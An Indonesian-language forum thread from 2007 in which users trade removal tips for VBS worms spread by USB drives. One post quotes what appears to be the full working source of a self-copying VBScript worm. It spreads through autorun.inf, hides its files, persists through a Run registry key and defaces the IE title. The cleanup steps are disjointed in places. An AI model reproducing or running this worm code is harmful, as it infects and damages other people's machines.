Age: 23 Joined: 09 Dec 2006 Posts: 49 Location: Jakarta
Posted: Tue Mar 13, 2007 9:10 pm [ask] 4n694-24y.dll.vbs
virusnya berupa file r4n694-24y.dll.vbs
kayakny virus ni nyerang IE sama installshield wizard, soalny pas buka IE di windowsny ntar ada tulisan "hacked by r4n694-24y" n ada pesen si pembuat di properties my computer dan yg paling ngeselin ini virus bikin instalshield ga jalan alias kompie jai gabisa install apa apa...arrrggghhh!!!!
ada yg tw obat ni virus kg? masa musti instal ulang windows sih....T_T
kemudian, hapus file .dll tadi yg difolder windows\system32
reboot system , masuk kembali ke windows
ok sekarang kita buat obat registri nya.
kopi paste aja code dibawah ini pake notepad, simpan dengan nama_file_terserah.inf , kalo udah kelar... klik kanan filenya, terus pilih install...
dalam hal ini, karena ga pernah nemu virus ini, ane ga tau tipe2 file apa aja yg diinfeksi, jd ente kudu search manual, biasanya di C:\Windows, \system32, C:\Document and settings , dsb
cari file2 yg mencurigakan, kalo ketemu apus aja...
oh iya, jangan lupa mengembalikan .dll yg udah di copy tadi kembali ke c:\windows\system32
moga2 bisa ilang
trus untuk balikin nama komputer ma nama company
masuk ke regedit, langsung ke
Age: 23 Joined: 09 Dec 2006 Posts: 49 Location: Jakarta
Posted: Sun Mar 18, 2007 8:14 pm
pake PCMAV kagak mempan make CLAMAV atw apa gitu (tau deh buatan lokal pa bukan dikasi temen si) n Av sejenisnya lah kagak mao juga, akhirnya pasrah..make vista ajah (dikasi temen juga)bis ud puyeng kaga bisa install apa-apa...
hmmm nanti dh kalo nemu lagi virusnya gw share....wew...masi trauma soalnya males nyolok flasdisk sembarangan...
Ini boleh dapet dari forum tetangga http://howto.redcomputer....by_godzilla.php coba dilihat disitu cara bersihin-nya. Gak pake AV kok itu caranya. Soalnya baru kena juga gua.
Trus semisalnya udah ikutin langkah di link tersebut dan masih ada drive yg gak bisa di doble klik. Coba deh cari pake fungsi search-nya windows tapi jgn lupa di include yg hidden file ama system file juga. Yg musti dicari adalah file autorun.inf Biasanya sih ada di root folder. Misalnya C:. D:, E: gitu. Nah, klo dah ketemu dibuka aja dilihat isinya bener nggak ada yg autoexecute *.VBS-nya klo ada yah tinggal hapus filenya. Selesai dah.
Age: 17 Joined: 29 Jun 2006 Posts: 36 Location: bali @ gianyar
Posted: Mon Mar 26, 2007 12:32 pm
lo... kok mirip kayak vires.A??????
codenya kayak gini>>>
Quote:
'My name is Slow but sure V0.05
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Godzilla"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
doi bikin outurun, di semua drive... kalo di kelik doi bakalan memproses ms32dll.dll.vbs! liat aja prosesnya pake aplikasi pihak ketiga. semakin sering di klik... maka prosesya bakalan makin banyak! Karena akoe panik dokumen ku di enkripsi menjadi 10-12 kb dengan ekstensio exe. aku apus pake pcmav... tapi belum bersih semua... makanya aku akoe delete registry
Age: 22 Joined: 11 Jun 2007 Posts: 2 Location: indonesia
Posted: Thu Jun 14, 2007 10:41 pm Virus berextensi dll.vbs
Pusing Seharian Oprek Kompi akhirnya Dengan Menyatukan Dua Otak Terkuak Juga Bagai mana Aksi Dari File Yang extension-nya .dll.vbs
setelah seharian aku orek PC aku bersama teman aku akhirnya bisa menyelesaikan/menguraikan aksi dari virus contoh (win32.dll.vbs). Karena iseng aku browsing pake Opera terus aku klik di addres barnya
D: ==> yang langsung menunjukkan apa saja isi dari drive D
saya langsung kaget waktu lihat disitu ada file yang namanya Win32.dll.vbs wah ternyata ini dia virusnya setelah seharian aku sourcebersama teman di batam dengan membahas nya melalui Yahoo Messanger.
Age: 23 Joined: 09 Dec 2006 Posts: 49 Location: Jakarta
Posted: Sat Jun 16, 2007 7:58 pm
oh ya....r4n694-24y.dll.vbs...ud aman kedetek ma pcmav n antivirus laen...tp kayakny dl pas kna tuh virus bangsad bener....bikin kompi kgk bisa jalanin instalshield wizard...jangan2 ada varian laennya
Age: 22 Joined: 11 Jun 2007 Posts: 2 Location: indonesia
Posted: Sat Jun 16, 2007 9:26 pm
Pantes ga ada yang Psting ke gwe.....
Tapi Gpp semua dah tau kan, tuh virus nyerang Registry trus udah gw bahas juga
dan sekarang gimana balikin semuanya secara normal, and byar semua
drive bisa di Double klik..............
Coz semua dah gw coba bahkan gw bahas bedua ama temen gw
ga tanggung2 seharian bahas tuh virus
tapi tetep aja ga kena..........
pastikan dulu.. file-nya hilang apa disembunyikan si malware?
Cirinya disembunyiin itu cek lewat properties besar drivenya berapa MB?Kalo nol mean sdh ilang tapi kalo ada angkanya bisa pake caranya bos tajor.CMIIW
_________________
Last edited by OIR on Thu Aug 16, 2007 1:42 pm; edited 1 time in total
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
Search
Memberlist
Album
